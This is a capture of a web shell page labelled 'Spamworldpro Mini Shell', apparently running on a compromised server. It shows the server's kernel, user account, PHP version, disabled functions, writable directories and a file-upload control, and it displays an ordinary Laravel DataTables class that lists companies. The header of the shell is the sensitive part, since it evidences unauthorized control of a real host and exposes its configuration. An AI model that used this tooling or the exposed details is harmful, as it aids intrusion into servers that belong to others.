Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/medad.corals.io/Corals/modules/Medad/DataTables/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/medad.corals.io/Corals/modules/Medad/DataTables/CompaniesDataTable.php
<?php

namespace Corals\Modules\Medad\DataTables;

use Corals\Foundation\DataTables\BaseDataTable;
use Corals\Modules\Medad\DataTables\Scopes\AuthUserCompanyDataScope;
use Corals\Modules\Medad\DataTables\Scopes\CompanyAdminsScope;
use Corals\Modules\Medad\Models\Branch;
use Corals\Modules\Medad\Models\Company;
use Corals\Modules\Medad\Transformers\CompanyTransformer;
use Yajra\DataTables\EloquentDataTable;

class CompaniesDataTable extends BaseDataTable
{
    public function __construct()
    {
        if (user()->cannot('admin', Branch::class)) {
            $this->addScope(new AuthUserCompanyDataScope('company'));
        }

        parent::__construct();
    }

    /**
     * Build DataTable class.
     *
     * @param mixed $query Results from query() method.
     * @return \Yajra\DataTables\DataTableAbstract
     */
    public function dataTable($query)
    {
        $this->setResourceUrl(config('medad.models.company.resource_url'));

        $dataTable = new EloquentDataTable($query);

        return $dataTable->setTransformer(new CompanyTransformer());
    }

    /**
     * Get query source of dataTable.
     * @param Company $model
     * @return \Illuminate\Database\Eloquent\Builder|static
     */
    public function query(Company $model)
    {
        return $model->newQuery();
    }

    /**
     * Get columns.
     *
     * @return array
     */
    protected function getColumns()
    {
        return [
            'id' => ['visible' => false],

            'name' => ['title' => trans('Medad::attributes.company.name')],
            'code' => ['title' => trans('Medad::attributes.company.code')],
            'type' => ['title' => trans('Medad::attributes.company.type')],
            'status' => ['title' => trans('Corals::attributes.status')],
            'location' => [
                'title' => trans('Medad::attributes.location'),
                'searchable' => false,
                'orderable' => false
            ],
            'admins' => [
                'title' => trans('Medad::attributes.company.admins'),
                'searchable' => false,
                'orderable' => false
            ],
            'tin' => ['title' => trans('Medad::attributes.company.tin')],
            'phone_number' => ['title' => trans('Medad::attributes.company.phone_number')],
            'email' => ['title' => trans('Medad::attributes.company.email')],
            'website' => ['title' => trans('Medad::attributes.company.website')],

            'updated_at' => ['title' => trans('Corals::attributes.updated_at')],
        ];
    }


    public function getFilters()
    {
        return [
            'name' => [
                'title' => trans('Medad::attributes.company.name'),
                'class' => 'col-md-2',
                'type' => 'text',
                'condition' => 'like',
                'active' => true
            ],
            'code' => [
                'title' => trans('Medad::attributes.company.code'),
                'class' => 'col-md-2',
                'type' => 'text',
                'condition' => 'like',
                'active' => true
            ],
            'location.id' => [
                'title' => trans('Medad::attributes.branch.location'),
                'class' => 'col-md-2',
                'type' => 'select2',
                'options' => \Address::getLocationsList('Medad'),
                'active' => true
            ],
            'status' => [
                'title' => trans('Medad::attributes.status'),
                'class' => 'col-md-2',
                'type' => 'select2',
                'options' => trans('Medad::attributes.company.status_options'),
                'active' => true,
            ],
            'type' => [
                'title' => trans('Medad::attributes.company.type'),
                'class' => 'col-md-2',
                'type' => 'select2',
                'options' => trans('Medad::attributes.company.type_options'),
                'active' => true,
            ],
            'admins' => [
                'title' => trans('Medad::attributes.company.admins'),
                'class' => 'col-md-2',
                'type' => 'select2',
                'options' => \Medad::getCompanyUsers('medad_company_admin'),
                'builder' => CompanyAdminsScope::class,
                'active' => true,
            ],
            'website' => [
                'title' => trans('Medad::attributes.company.website'),
                'class' => 'col-md-2',
                'type' => 'text',
                'condition' => 'like',
                'active' => true
            ],
            'email' => [
                'title' => trans('Medad::attributes.company.email'),
                'class' => 'col-md-2',
                'type' => 'text',
                'condition' => 'like',
                'active' => true
            ],
            'phone_number' => [
                'title' => trans('Medad::attributes.company.phone_number'),
                'class' => 'col-md-2',
                'type' => 'text',
                'condition' => 'like',
                'active' => true
            ],
            'tin' => [
                'title' => trans('Medad::attributes.company.tin'),
                'class' => 'col-md-2',
                'type' => 'text',
                'condition' => 'like',
                'active' => true
            ],
        ];
    }

}

Spamworldpro Mini